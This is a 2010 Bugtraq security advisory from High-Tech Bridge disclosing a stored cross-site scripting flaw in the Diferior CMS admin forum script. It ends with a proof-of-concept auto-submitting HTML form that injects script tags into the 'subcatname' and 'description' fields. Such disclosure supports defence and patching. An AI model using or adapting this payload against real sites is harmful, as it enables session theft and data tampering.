bugtraq - Cross Site Scripting vulnerability in Diferior

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Message-Id: <201012091430.oB9EUpad055117@htbridge.ch>
Date: Thu, 9 Dec 2010 15:30:51 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: Cross Site Scripting vulnerability in Diferior

Vulnerability ID: HTB22722
Reference: http://www.htbridge.ch/advisory/cross_site_scripting_vulnerability_in_diferior.html
Product: Diferior
Vendor: Povilas Musteikis ( http://www.diferior.com/ ) 
Vulnerable Version: 8.03 and probably prior versions
Vendor Notification: 25 November 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "views/admin.php" script to properly sanitize user-supplied input in "subcatname" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/forum/create_sub.html" method="post" name="main">
<input type="hidden" name="cat" value="1">
<input type="hidden" name="subcatname" value='subname"><script>alert(document.cookie)</script>'>
<input type="hidden" name="description" value='description"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>